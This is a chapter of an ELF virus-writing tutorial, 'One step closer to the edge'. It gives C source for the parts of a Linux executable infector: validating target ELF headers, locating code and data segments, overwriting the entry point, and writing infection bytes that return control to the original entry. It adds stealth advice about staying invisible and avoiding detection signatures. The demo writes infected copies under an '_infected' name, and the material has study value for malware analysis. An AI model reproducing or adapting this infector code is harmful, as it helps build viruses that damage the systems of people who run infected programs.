One step closer to the edge

The ELF Virus Writing HOWTO: Introduction
Prev |  | Next

# 5. One step closer to the edge

| To take a significant step forward, you must make a series of finite improvements.
| Donald J. Atwood, General Motors

The first two functions are used by both scanners and infectors. The rest is specific to infectors but independent of infection methods.

## 5.1. target_is_elf

A visible virus is a dead virus. Breaking things is quite the opposite of invisibility. So before you even think about polymorphism and stealth mechanisms you should go sure your code does nothing unexpected. On the other hand exhaustive checks of target files will severely increase code size. And verifying signatures and other constant values is likely to make the virus code itself a constant signature. A better approach is to compare the target with the host executable currently running the virus. `SELF` is defined in target.h.

Finding a meaningful set of tests is an art in it itself. For example some executables of Red Hat 8.0 have an additional program header of type `GNU_EH_FRAME`. This means that `e_phnum` can differ between infector and target.

Source: src/one_step_closer/is_elf.inc

    bool target_is_elf(Target* t)
    {
      enum { CMP_SIZE = offsetof(TEVWH_ELF_EHDR, e_entry) };
      TEVWH_ELF_EHDR* ehdr = t->image.ehdr;

      TRACE_DEBUG(-1, "target_is_elf SELF=%p\n", SELF);

      CHECK(SCAN, 0, ==, memcmp(&ehdr->e_ident, &SELF->e_ident, CMP_SIZE));
      CHECK(SCAN, ehdr->e_phoff, ==, SELF->e_phoff);
      CHECK(SCAN, ehdr->e_ehsize, ==, SELF->e_ehsize);
      CHECK(SCAN, ehdr->e_phentsize, ==, SELF->e_phentsize);
      CHECK(SCAN, ehdr->e_shentsize, ==, SELF->e_shentsize);

      return true;
    }

## 5.2. target_get_seg

Finding code and data segment in a loop is really overkill. Usual installations are populated by just two kinds of executables, statically or dynamically linked. An alternative implementation could just check whether the first program header is type `PT_PHDR` and assume a static executable otherwise. Anyway, this way we can do some general checks. See Segments[A B C] for details.

Source: src/one_step_closer/get_seg.inc

    bool target_get_seg(Target* t)
    {
      TEVWH_ELF_PHDR* phdr;
      unsigned nr_load;
      unsigned nr;
      TEVWH_ELF_PHDR* phdr_data;
      TEVWH_ELF_PHDR* phdr_code;

      TRACE_DEBUG(-1, "target_get_seg\n");

      t->phdr_dynamic = 0;
      t->phdr_note = 0;
      phdr = t->phdr = (TEVWH_ELF_PHDR*)(t->image.b + t->image.ehdr->e_phoff);
      nr_load = 0;
      for(nr = t->image.ehdr->e_phnum; nr > 0; nr--, phdr++)
      {
        switch(phdr->p_type)
        {
          case PT_LOAD: nr_load++; phdr_data = phdr; break;
          case PT_DYNAMIC: t->phdr_dynamic = phdr; break;
          case PT_NOTE: t->phdr_note = phdr; break;
        }
      }

      CHECK(SCAN, nr_load, ==, 2);
      CHECK(SCAN, (long)phdr_data, !=, 0);

      /* both segments lie right next to each other */
      t->phdr_code = phdr_code = phdr_data - 1;
      CHECK(SCAN, phdr_data->p_type, ==, PT_LOAD);
      CHECK(SCAN, phdr_code->p_type, ==, PT_LOAD);

      /* a code segment with trailing 0-bytes makes no sense */
      CHECK(SCAN, phdr_code->p_filesz, ==, phdr_code->p_memsz);

      t->end_of_cs = phdr_code->p_offset + phdr_code->p_filesz;
      t->aligned_end_of_cs = ALIGN_UP(t->end_of_cs);

      return true;
    }

## 5.3. print_summary #1

Infectors provide only minimal statistics. See print_summary #2.

Source: src/one_step_closer/print_summary.inc

    int print_summary(int stat[])
    {
      int failed = stat[0] - stat[1];
      print_errno(-1, "files=%d; ok=%d; failed=%d\n",
        stat[0], stat[1], stat[0] - stat[1]
      );
      return failed;
    }

## 5.4. target_action #1

This is the logic of all infectors based on the framework. Scanners do something different, see target_action #2.

Source: src/one_step_closer/action.inc

    bool target_action(Target* t, int stat[])
    {
      size_t code_size;

      TRACE_DEBUG(-1, "target_action\n");
      if (target_patch_entry_addr(t) &&
          target_patch_phdr(t) &&
          target_patch_shdr(t) &&
          target_open_dst(t) &&
          target_copy_and_infect(t, &code_size)
      )
      {
        TRACE_INFECT(-1, "%s ... wrote %u bytes, Ok\n", t->clean_src, code_size);
        return true;
      }
      return false;
    }

## 5.5. target_patch_entry_addr #1

Modifying `e_entry` is the obvious way to activate inserted code. It is quite simple to detect, however. See The entry point[A B C] for possible improvements. Directory name `e1` means that this is the first (orthogonal) implementation. The issue is independent of the chosen infection method. Well, almost independent. Entry point obfuscation generally means that virus code is activated later. Some infection methods must clean up things or the target will crash, though.

Anyway, without this function the behavior of the target is not modified. If the infection methods prevents double infection by design, this can be used for vaccination in the true meaning of the word: Infection with a deactivated mutation makes the target immune against less friendly attackers.

Source: src/one_step_closer/e1/patch_entry_addr.inc

    bool target_patch_entry_addr(Target* t)
    {
      TRACE_DEBUG(-1, "target_patch_entry_addr\n");
      t->original_entry = t->image.ehdr->e_entry;
      t->image.ehdr->e_entry = target_new_entry_addr(t);
      TRACE_DEBUG(-1, "original_entry=%08x e_entry=%08x\n",
        t->original_entry, t->image.ehdr->e_entry);
      return true; /* this implementation can't fail */
    }

## 5.6. target_open_dst

Infectors write a modified copy of the target into the current directory. The file name is build by appending the letters `_infected`. It really should be hard to overlook.

Source: src/one_step_closer/open_dst.inc

    bool target_open_dst(Target* t)
    {
      enum { FLAGS = O_WRONLY | O_CREAT | O_TRUNC };
      static const char suffix[] = "_infected";

      const char* base;
      size_t len;
      char* dst_filename;

      TRACE_DEBUG(-1, "target_open_dst %s\n", t->src_file);
      base = strrchr(t->src_file, '/');
      base = (base == 0) ? t->src_file : base + 1;

      len = strlen(base);

      /* can't use check for malloc since it returns void*, not int */
      dst_filename = malloc(len + sizeof(suffix));
      if (dst_filename == 0)
      {
        TRACE_ERROR(-1, "malloc(%u) failed", len + sizeof(suffix));
        return false;
      }
      memcpy(dst_filename, base, len);
      memcpy(dst_filename + len, suffix, sizeof(suffix));

      /* in case of error this is a memory leak (on dst_filename) */
      CHECK_ERRNO(0, <=, t->fd_dst = open(dst_filename, FLAGS, 0775));

      free(dst_filename);
      return true;
    }

## 5.7. target_write_infection #1

This function is called from within target_copy_and_infect #1. This implementation of `target_write_infection` does not require a special infection method but is not insertable itself. See Doing it in C[A B C] for something more realistic. Anyway, `infection` is an array of bytes generated by Dressing up binary code. Constant `ENTRY_POINT_OFS` points to the location inside this array to patch with the original entry address.

Source: src/one_step_closer/write_infection.inc

    bool target_write_infection(Target* t, size_t* code_size)
    {
      enum { ADDR_SIZE = sizeof(((Target*)0)->original_entry) };
      enum { REST_OFS = ENTRY_POINT_OFS + ADDR_SIZE };

      TRACE_DEBUG(-1, "target_write_infection "
        "ENTRY_POINT_OFS=%d ADDR_SIZE=%d\n", ENTRY_POINT_OFS, ADDR_SIZE
      );

      /* i386: first byte is the opcode for "push" */
      CHECK_WRITE(infection, ENTRY_POINT_OFS);

      /* i386: next four bytes is the address to "ret" to */
      CHECK_WRITE(&t->original_entry, sizeof(t->original_entry));

      /* rest of infective code */
      CHECK_WRITE(infection + REST_OFS, sizeof(infection) - REST_OFS);

      *code_size = sizeof(infection);
      return true;
    }

Prev | Home | Next
Dual use technology |  | Scanners